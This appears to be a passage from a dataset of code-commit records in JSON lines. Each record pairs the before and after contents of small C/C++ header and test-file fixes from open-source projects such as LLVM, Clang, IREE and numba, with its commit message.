{"commit":"99e747ceddb32b408921512979842251c28e54a5","old_file":"src\/modules\/l_keyboard.c","new_file":"src\/modules\/l_keyboard.c","old_contents":"\/**\n * Copyright (c) 2017 rxi\n *\n * This library is free software; you can redistribute it and\/or modify it\n * under the terms of the MIT license. See LICENSE for details.\n *\/\n\n\n#include \"keyboard.h\"\n#include \"luaobj.h\"\n\n\nint l_keyboard_setKeyRepeat(lua_State *L) {\n  keyboard_setKeyRepeat( lua_toboolean(L, 1) );\n  return 0;\n}\n\n\nint l_keyboard_isDown(lua_State *L) {\n  int n = lua_gettop(L);\n  int res = 0;\n  int i;\n  for (i = 1; i <= n; i++) {\n    const char *key = luaL_checkstring(L, 1);\n    res |= keyboard_isDown(key);\n  }\n  lua_pushboolean(L, res);\n  return 1;\n}\n\n\nint luaopen_keyboard(lua_State *L) {\n  luaL_Reg reg[] = {\n    { \"setKeyRepeat\", l_keyboard_setKeyRepeat },\n    { \"isDown\",       l_keyboard_isDown       },\n    { 0, 0 },\n  };\n  luaL_newlib(L, reg);\n  return 1;\n}\n","new_contents":"\/**\n * Copyright (c) 2017 rxi\n *\n * This library is free software; you can redistribute it and\/or modify it\n * under the terms of the MIT license. See LICENSE for details.\n *\/\n\n\n#include \"keyboard.h\"\n#include \"luaobj.h\"\n\n\nint l_keyboard_setKeyRepeat(lua_State *L) {\n  keyboard_setKeyRepeat( lua_toboolean(L, 1) );\n  return 0;\n}\n\n\nint l_keyboard_isDown(lua_State *L) {\n  int n = lua_gettop(L);\n  int res = 0;\n  int i;\n  for (i = 1; i <= n; i++) {\n    const char *key = luaL_checkstring(L, i);\n    res |= keyboard_isDown(key);\n  }\n  lua_pushboolean(L, res);\n  return 1;\n}\n\n\nint luaopen_keyboard(lua_State *L) {\n  luaL_Reg reg[] = {\n    { \"setKeyRepeat\", l_keyboard_setKeyRepeat },\n    { \"isDown\",       l_keyboard_isDown       },\n    { 0, 0 },\n  };\n  luaL_newlib(L, reg);\n  return 1;\n}\n","subject":"Fix keyboard.isDown check for multiple keys","message":"Fix keyboard.isDown check for multiple keys\n","lang":"C","license":"mit","repos":"rxi\/lovedos,rxi\/lovedos,rxi\/lovedos"}
{"commit":"95bfaeec32c890c968f2dbd2fbf39e941629bbe7","old_file":"AppIconOverlay\/OverlayContext.h","new_file":"AppIconOverlay\/OverlayContext.h","old_contents":"\/\/\n\/\/ Copyright (c) 2013 Carson McDonald\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\n\/\/ documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation\n\/\/ the rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of the Software,\n\/\/ and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in all copies or substantial portions\n\/\/ of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\n\/\/ TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF\n\/\/ CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n\/\/ DEALINGS IN THE SOFTWARE.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface OverlayContext : NSObject\n\n@property (nonatomic, copy) NSString *bannerText;\n@property (nonatomic, assign) CGFloat bannerHeightPadding;\n@property (nonatomic, assign) CGSize inputImageSize;\n@property (nonatomic, assign) CGSize bannerSize;\n@property (nonatomic, assign) CGContextRef workingContext;\n@property (nonatomic, assign) CGContextRef bannerContext;\n@property (nonatomic, copy) NSString *outputFilename;\n\n@end\n","new_contents":"\/\/\n\/\/ Copyright (c) 2013 Carson McDonald\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\n\/\/ documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation\n\/\/ the rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of the Software,\n\/\/ and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in all copies or substantial portions\n\/\/ of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\n\/\/ TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF\n\/\/ CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n\/\/ DEALINGS IN THE SOFTWARE.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface OverlayContext : NSObject\n\n@property (nonatomic, copy) NSString *bannerText;\n@property (nonatomic, assign) CGFloat bannerHeightPadding;\n@property (nonatomic, assign) CGSize inputImageSize;\n@property (nonatomic, assign) CGSize bannerSize;\n@property (nonatomic, assign) CGContextRef workingContext;\n@property (nonatomic, assign) CGContextRef bannerContext;\n@property (nonatomic, copy) NSString *outputFilename;\n@property (nonatomic, copy) NSString *fontName;\n\n@end\n","subject":"Add font name to context.","message":"Add font name to context.\n","lang":"C","license":"mit","repos":"carsonmcdonald\/AppIconOverlay"}
{"commit":"678b412c90c4392bc6459b13541ed80e37b68b35","old_file":"src\/util.h","new_file":"src\/util.h","old_contents":"#ifndef UTIL_H\n#define UTIL_H\n\n\/*** Utility functions ***\/\n\n#define ALLOC(type) ((type*) xmalloc(sizeof(type)))\nvoid *xmalloc(size_t);\n\n#define STARTS_WITH(x, y) (strncmp((x), (y), sizeof(y) - 1) == 0)\n\n#endif \/* UTIL_H *\/\n","new_contents":"#ifndef UTIL_H\n#define UTIL_H\n\n\/*** Utility functions ***\/\n\n#define ALLOC(type) ((type*) xmalloc(sizeof(type)))\nvoid *xmalloc(size_t);\n\n#define STARTS_WITH(x, y) (strncmp((x), (y), strlen(y)) == 0)\n\n#endif \/* UTIL_H *\/\n","subject":"Fix STARTS_WITH macro comparing 1 less character than needed","message":"Fix STARTS_WITH macro comparing 1 less character than needed\n","lang":"C","license":"apache-2.0","repos":"mopidy\/libmockspotify,mopidy\/libmockspotify,mopidy\/libmockspotify"}
{"commit":"1843a02b1359aa796a71c45da5f3f07615ae0f9a","old_file":"iree\/compiler\/Dialect\/IREE\/Transforms\/Passes.h","new_file":"iree\/compiler\/Dialect\/IREE\/Transforms\/Passes.h","old_contents":"\/\/ Copyright 2019 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef IREE_COMPILER_DIALECT_IREE_TRANSFORMS_PASSES_H_\n#define IREE_COMPILER_DIALECT_IREE_TRANSFORMS_PASSES_H_\n\n#include \"third_party\/llvm\/llvm-project\/mlir\/\/include\/mlir\/IR\/Module.h\"\n#include \"third_party\/llvm\/llvm-project\/mlir\/\/include\/mlir\/Pass\/Pass.h\"\n\nnamespace mlir {\nnamespace iree_compiler {\nnamespace IREE {\n\nstd::unique_ptr<OpPassBase<ModuleOp>> createDropCompilerHintsPass();\n\n}  \/\/ namespace IREE\n}  \/\/ namespace iree_compiler\n}  \/\/ namespace mlir\n\n#endif  \/\/ IREE_COMPILER_DIALECT_IREE_TRANSFORMS_PASSES_H_\n","new_contents":"\/\/ Copyright 2019 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef IREE_COMPILER_DIALECT_IREE_TRANSFORMS_PASSES_H_\n#define IREE_COMPILER_DIALECT_IREE_TRANSFORMS_PASSES_H_\n\n#include \"mlir\/IR\/Module.h\"\n#include \"mlir\/Pass\/Pass.h\"\n\nnamespace mlir {\nnamespace iree_compiler {\nnamespace IREE {\n\nstd::unique_ptr<OpPassBase<ModuleOp>> createDropCompilerHintsPass();\n\n}  \/\/ namespace IREE\n}  \/\/ namespace iree_compiler\n}  \/\/ namespace mlir\n\n#endif  \/\/ IREE_COMPILER_DIALECT_IREE_TRANSFORMS_PASSES_H_\n","subject":"Fix include path typo from merge conflicts","message":"Fix include path typo from merge conflicts\n\nPiperOrigin-RevId: 287685318\n","lang":"C","license":"apache-2.0","repos":"google\/iree,iree-org\/iree,google\/iree,iree-org\/iree,iree-org\/iree,google\/iree,google\/iree,iree-org\/iree,google\/iree,iree-org\/iree,iree-org\/iree,google\/iree,google\/iree,iree-org\/iree"}
{"commit":"85a1c2100f452e25fba9c809d3ab25c51e97c3e1","old_file":"include\/llvm\/Bitcode\/BitcodeWriter.h","new_file":"include\/llvm\/Bitcode\/BitcodeWriter.h","old_contents":"","new_contents":"\/\/===-- llvm\/Bitcode\/BitcodeWriter.h - Bitcode writers ----*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This header defines interfaces to write LLVM bitcode files\/streams.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_BITCODE_BITCODEWRITER_H\n#define LLVM_BITCODE_BITCODEWRITER_H\n\n#include \"llvm\/IR\/ModuleSummaryIndex.h\"\n#include <string>\n\nnamespace llvm {\n  class Module;\n  class raw_ostream;\n\n  \/\/\/ \\brief Write the specified module to the specified raw output stream.\n  \/\/\/\n  \/\/\/ For streams where it matters, the given stream should be in \"binary\"\n  \/\/\/ mode.\n  \/\/\/\n  \/\/\/ If \\c ShouldPreserveUseListOrder, encode the use-list order for each \\a\n  \/\/\/ Value in \\c M.  These will be reconstructed exactly when \\a M is\n  \/\/\/ deserialized.\n  \/\/\/\n  \/\/\/ If \\c Index is supplied, the bitcode will contain the summary index\n  \/\/\/ (currently for use in ThinLTO optimization).\n  \/\/\/\n  \/\/\/ \\p GenerateHash enables hashing the Module and including the hash in the\n  \/\/\/ bitcode (currently for use in ThinLTO incremental build).\n  void WriteBitcodeToFile(const Module *M, raw_ostream &Out,\n                          bool ShouldPreserveUseListOrder = false,\n                          const ModuleSummaryIndex *Index = nullptr,\n                          bool GenerateHash = false);\n\n  \/\/\/ Write the specified module summary index to the given raw output stream,\n  \/\/\/ where it will be written in a new bitcode block. This is used when\n  \/\/\/ writing the combined index file for ThinLTO. When writing a subset of the\n  \/\/\/ index for a distributed backend, provide the \\p ModuleToSummariesForIndex\n  \/\/\/ map.\n  void WriteIndexToFile(const ModuleSummaryIndex &Index, raw_ostream &Out,\n                        const std::map<std::string, GVSummaryMapTy>\n                            *ModuleToSummariesForIndex = nullptr);\n} \/\/ End llvm namespace\n\n#endif\n","subject":"Add missing file from r286566","message":"Add missing file from r286566\n\nAdd the new BitcodeWriter.h header, which was missed in my r286566\ncommit, and should fix all the bot failures.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@286569 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"b572830a52faad2fffc7119de53aa96c18d9bf07","old_file":"lib\/ExecutionEngine\/MCJIT\/MCJITMemoryManager.h","new_file":"lib\/ExecutionEngine\/MCJIT\/MCJITMemoryManager.h","old_contents":"","new_contents":"\/\/===-- MCJITMemoryManager.h - Definition for the Memory Manager ---C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_LIB_EXECUTIONENGINE_MCJITMEMORYMANAGER_H\n#define LLVM_LIB_EXECUTIONENGINE_MCJITMEMORYMANAGER_H\n\n#include \"llvm\/Module.h\"\n#include \"llvm\/ExecutionEngine\/JITMemoryManager.h\"\n#include \"llvm\/ExecutionEngine\/RuntimeDyld.h\"\n#include <assert.h>\n\nnamespace llvm {\n\n\/\/ The MCJIT memory manager is a layer between the standard JITMemoryManager\n\/\/ and the RuntimeDyld interface that maps objects, by name, onto their\n\/\/ matching LLVM IR counterparts in the module(s) being compiled.\nclass MCJITMemoryManager : public RTDyldMemoryManager {\n  JITMemoryManager *JMM;\n\n  \/\/ FIXME: Multiple modules.\n  Module *M;\npublic:\n  MCJITMemoryManager(JITMemoryManager *jmm) : JMM(jmm) {}\n\n  \/\/ Allocate ActualSize bytes, or more, for the named function. Return\n  \/\/ a pointer to the allocated memory and update Size to reflect how much\n  \/\/ memory was acutally allocated.\n  uint64_t startFunctionBody(const char *Name, uintptr_t &Size) {\n    Function *F = M->getFunction(Name);\n    assert(F && \"No matching function in JIT IR Module!\");\n    return (uint64_t)JMM->startFunctionBody(F, Size);\n  }\n\n  \/\/ Mark the end of the function, including how much of the allocated\n  \/\/ memory was actually used.\n  void endFunctionBody(const char *Name, uint64_t FunctionStart,\n                       uint64_t FunctionEnd) {\n    Function *F = M->getFunction(Name);\n    assert(F && \"No matching function in JIT IR Module!\");\n    \/\/ The JITMemoryManager interface makes the unfortunate assumption that\n    \/\/ the address space\/sizes we're compiling on are the same as what we're\n    \/\/ compiling for, so it uses pointer types for its addresses. Explicit\n    \/\/ casts between them to deal with that.\n    return JMM->endFunctionBody(F, (uint8_t*)FunctionStart,\n                                (uint8_t*)FunctionEnd);\n  }\n\n};\n\n} \/\/ End llvm namespace\n\n#endif\n","subject":"Add missing file from r128851.","message":"Add missing file from r128851.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@128856 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap"}
{"commit":"012509f72ac6024611266e424554881a161189e1","old_file":"plugins\/tracers\/gstbitrate.h","new_file":"plugins\/tracers\/gstbitrate.h","old_contents":"\/* GstShark - A Front End for GstTracer\n * Copyright (C) 2016-2017 RidgeRun Engineering <michael.gruner@ridgerun.com>\n *\n * This file is part of GstShark.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#ifndef __GST_BITRATE_TRACER_H__\n#define __GST_BITRATE_TRACER_H__\n\n#include \"gstperiodictracer.h\"\n\nG_BEGIN_DECLS\n\ntypedef struct _GstBitrateTracer GstBitrateTracer;\nG_DECLARE_FINAL_TYPE (GstBitrateTracer, gst_bitrate_tracer, GST, BITRATE_TRACER, GstPeriodicTracer)\n\nG_END_DECLS\n\n#endif \/* __GST_BITRATE_TRACER_H__ *\/\n","new_contents":"\/* GstShark - A Front End for GstTracer\n * Copyright (C) 2016-2017 RidgeRun Engineering <michael.gruner@ridgerun.com>\n *\n * This file is part of GstShark.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#ifndef __GST_BITRATE_TRACER_H__\n#define __GST_BITRATE_TRACER_H__\n\n#include \"gstperiodictracer.h\"\n\nG_BEGIN_DECLS\n\n#define GST_TYPE_BITRATE_TRACER (gst_bitrate_tracer_get_type ())\nG_DECLARE_FINAL_TYPE (GstBitrateTracer, gst_bitrate_tracer, GST, BITRATE_TRACER, GstPeriodicTracer)\n\nG_END_DECLS\n\n#endif \/* __GST_BITRATE_TRACER_H__ *\/\n","subject":"Fix definition for bitrate tracer type","message":"Fix definition for bitrate tracer type\n","lang":"C","license":"lgpl-2.1","repos":"RidgeRun\/gst-shark,RidgeRun\/gst-shark,RidgeRun\/gst-shark"}
{"commit":"1d4efbd13c45b5e10c3355cef364031d822f44e2","old_file":"numba\/npyufunc\/gufunc_scheduler.h","new_file":"numba\/npyufunc\/gufunc_scheduler.h","old_contents":"#ifndef GUFUNC_SCHEDULER\n#define GUFUNC_SCHEDULER\n\n#include <stdint.h>\n#if __SIZEOF_POINTER__ == 8\n    #define intp int64_t\n    #define uintp uint64_t\n#else\n    #define intp int\n    #define uintp unsigned\n#endif\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\nvoid do_scheduling(intp num_dim, intp *dims, uintp num_threads, intp *sched, intp debug);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"#ifndef GUFUNC_SCHEDULER\n#define GUFUNC_SCHEDULER\n\n#include <stdint.h>\n\n#ifndef __SIZEOF_POINTER__\n    \/* MSVC doesn't define __SIZEOF_POINTER__ *\/\n    #if   defined(_WIN64)\n        #define intp int64_t\n        #define uintp uint64_t\n    #elif defined(_WIN32)\n        #define intp int\n        #define uintp unsigned\n    #else\n        #error \"cannot determine size of intp\"\n    #endif\n#elif __SIZEOF_POINTER__ == 8\n    #define intp int64_t\n    #define uintp uint64_t\n#else\n    #define intp int\n    #define uintp unsigned\n#endif\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\nvoid do_scheduling(intp num_dim, intp *dims, uintp num_threads, intp *sched, intp debug);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Fix parfors on win64 due to incorrect size for intp type.","message":"Fix parfors on win64 due to incorrect size for intp type.\n","lang":"C","license":"bsd-2-clause","repos":"IntelLabs\/numba,gmarkall\/numba,gmarkall\/numba,cpcloud\/numba,IntelLabs\/numba,seibert\/numba,numba\/numba,stuartarchibald\/numba,seibert\/numba,cpcloud\/numba,jriehl\/numba,stonebig\/numba,cpcloud\/numba,sklam\/numba,stuartarchibald\/numba,cpcloud\/numba,IntelLabs\/numba,jriehl\/numba,IntelLabs\/numba,stuartarchibald\/numba,cpcloud\/numba,jriehl\/numba,stuartarchibald\/numba,numba\/numba,jriehl\/numba,jriehl\/numba,sklam\/numba,numba\/numba,seibert\/numba,sklam\/numba,numba\/numba,seibert\/numba,gmarkall\/numba,numba\/numba,stonebig\/numba,gmarkall\/numba,IntelLabs\/numba,sklam\/numba,stonebig\/numba,gmarkall\/numba,stonebig\/numba,stonebig\/numba,stuartarchibald\/numba,sklam\/numba,seibert\/numba"}
{"commit":"fcd94f3e481afabca2de28339e3b23ceac0c75cf","old_file":"bst.h","new_file":"bst.h","old_contents":"#include <stdlib.h>\n#ifndef __BST_H__\n#define __BST_H__\nstruct BSTNode;\nstruct BST;\ntypedef struct BSTNode BSTNode;\ntypedef struct BST BST;\n\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __BST_H__\n#define __BST_H__\nstruct BSTNode;\nstruct BST;\ntypedef struct BSTNode BSTNode;\ntypedef struct BST BST;\n\nBST* BST_Create(void);\n\n#endif","subject":"Add BST Create function declaration","message":"Add BST Create function declaration\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"685fd9f92d7980591502c0bb2a344d601a0b9615","old_file":"xmlwf\/xmltchar.h","new_file":"xmlwf\/xmltchar.h","old_contents":"","new_contents":"#ifdef XML_UNICODE\n#ifndef XML_UNICODE_WCHAR_T\n#error xmlwf requires a 16-bit Unicode-compatible wchar_t \n#endif\n#define T(x) L ## x\n#define ftprintf fwprintf\n#define tfopen _wfopen\n#define fputts fputws\n#define puttc putwc\n#define tcscmp wcscmp\n#define tcscpy wcscpy\n#define tcscat wcscat\n#define tcschr wcschr\n#define tcsrchr wcsrchr\n#define tcslen wcslen\n#define tperror _wperror\n#define topen _wopen\n#define tmain wmain\n#define tremove _wremove\n#else \/* not XML_UNICODE *\/\n#define T(x) x\n#define ftprintf fprintf\n#define tfopen fopen\n#define fputts fputs\n#define puttc putc\n#define tcscmp strcmp\n#define tcscpy strcpy\n#define tcscat strcat\n#define tcschr strchr\n#define tcsrchr strrchr\n#define tcslen strlen\n#define tperror perror\n#define topen open\n#define tmain main\n#define tremove remove\n#endif \/* not XML_UNICODE *\/\n","subject":"Fix screwup in changing copyright notices","message":"Fix screwup in changing copyright notices\n","lang":"C","license":"mit","repos":"markpizz\/expat,markpizz\/expat,markpizz\/expat"}
{"commit":"bea728b0f49fcb7fef74d34bfe7d19db4f09075b","old_file":"test\/Analysis\/taint-tester.c","new_file":"test\/Analysis\/taint-tester.c","old_contents":"\/\/ RUN: %clang_cc1  -analyze -analyzer-checker=experimental.security.taint,debug.TaintTest -verify %s\n\nint scanf(const char *restrict format, ...);\nint getchar(void);\n\n#define BUFSIZE 10\nint Buffer[BUFSIZE];\n\nvoid bufferScanfAssignment(int x) {\n  int n;\n  int *addr = &Buffer[0];\n  scanf(\"%d\", &n);\n  addr += n;\/\/ expected-warning {{tainted}}\n  *addr = n; \/\/ expected-warning {{tainted}}\n}\n","new_contents":"\/\/ RUN: %clang_cc1  -analyze -analyzer-checker=experimental.security.taint,debug.TaintTest -verify %s\n\nint scanf(const char *restrict format, ...);\nint getchar(void);\n\n#define BUFSIZE 10\nint Buffer[BUFSIZE];\n\nvoid bufferScanfAssignment(int x) {\n  int n;\n  int *addr = &Buffer[0];\n  scanf(\"%d\", &n);\n  addr += n;\/\/ expected-warning {{tainted}}\n  *addr = n; \/\/ expected-warning {{tainted}} expected-warning {{tainted}}\n}\n","subject":"Add a missing taint tester warning.","message":"[analyzer] Add a missing taint tester warning.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@145834 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"3a06db1675442564976b5d3df6986aa3330337ef","old_file":"test\/Driver\/cl-include.c","new_file":"test\/Driver\/cl-include.c","old_contents":"\/\/ Note: %s must be preceded by --, otherwise it may be interpreted as a\n\/\/ command-line option, e.g. on Mac where %s is commonly under \/Users.\n\n\/\/ RUN: %clang_cl -### -- %s 2>&1 | FileCheck %s --check-prefix=BUILTIN\n\/\/ BUILTIN: \"-internal-isystem\" \"{{.*lib.*clang.*[0-9]\\.[0-9].*include}}\"\n\n\/\/ RUN: %clang_cl -nobuiltininc -### -- %s 2>&1 | FileCheck %s --check-prefix=NOBUILTIN\n\/\/ NOBUILTIN-NOT: \"-internal-isystem\" \"{{.*lib.*clang.*[0-9]\\.[0-9].*include}}\"\n\n\/\/ RUN: env INCLUDE=\/my\/system\/inc %clang_cl -### -- %s 2>&1 | FileCheck %s --check-prefix=STDINC\n\/\/ STDINC: \"-internal-isystem\" \"\/my\/system\/inc\"\n\n\/\/ RUN: env INCLUDE=\/my\/system\/inc %clang_cl -nostdinc -### -- %s 2>&1 | FileCheck %s --check-prefix=NOSTDINC\n\/\/ NOSTDINC-NOT: \"-internal-isystem\" \"\/my\/system\/inc\"\n","new_contents":"\/\/ Note: %s must be preceded by --, otherwise it may be interpreted as a\n\/\/ command-line option, e.g. on Mac where %s is commonly under \/Users.\n\n\/\/ RUN: %clang_cl -### -- %s 2>&1 | FileCheck %s --check-prefix=BUILTIN\n\/\/ BUILTIN: \"-internal-isystem\" \"{{.*lib.*clang.*include}}\"\n\n\/\/ RUN: %clang_cl -nobuiltininc -### -- %s 2>&1 | FileCheck %s --check-prefix=NOBUILTIN\n\/\/ NOBUILTIN-NOT: \"-internal-isystem\" \"{{.*lib.*clang.*include}}\"\n\n\/\/ RUN: env INCLUDE=\/my\/system\/inc %clang_cl -### -- %s 2>&1 | FileCheck %s --check-prefix=STDINC\n\/\/ STDINC: \"-internal-isystem\" \"\/my\/system\/inc\"\n\n\/\/ RUN: env INCLUDE=\/my\/system\/inc %clang_cl -nostdinc -### -- %s 2>&1 | FileCheck %s --check-prefix=NOSTDINC\n\/\/ NOSTDINC-NOT: \"-internal-isystem\" \"\/my\/system\/inc\"\n","subject":"Make the clang-cl test less restrictive.","message":"Make the clang-cl test less restrictive.\n\nMake the test less restrictive to allow directory layout used in our test setup.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@304408 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"51dd9f30014d6b2345b0c27df1fd501c2446e93b","old_file":"chrome\/common\/all_messages.h","new_file":"chrome\/common\/all_messages.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Multiply-included file, hence no include guard.\n\/\/ Inclusion of all message files present in the system.  Keep this file\n\/\/ up-to-date when adding a new value to enum IPCMessageStart in\n\/\/ ipc\/ipc_message_utils.h to include the corresponding message file.\n#include \"chrome\/browser\/importer\/profile_import_process_messages.h\"\n#include \"chrome\/common\/automation_messages.h\"\n#include \"chrome\/common\/common_message_generator.h\"\n#include \"chrome\/common\/nacl_messages.h\"\n#include \"content\/common\/content_message_generator.h\"\n#include \"ppapi\/proxy\/ppapi_messages.h\"\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Multiply-included file, hence no include guard.\n\/\/ Inclusion of all message files present in the system.  Keep this file\n\/\/ up-to-date when adding a new value to enum 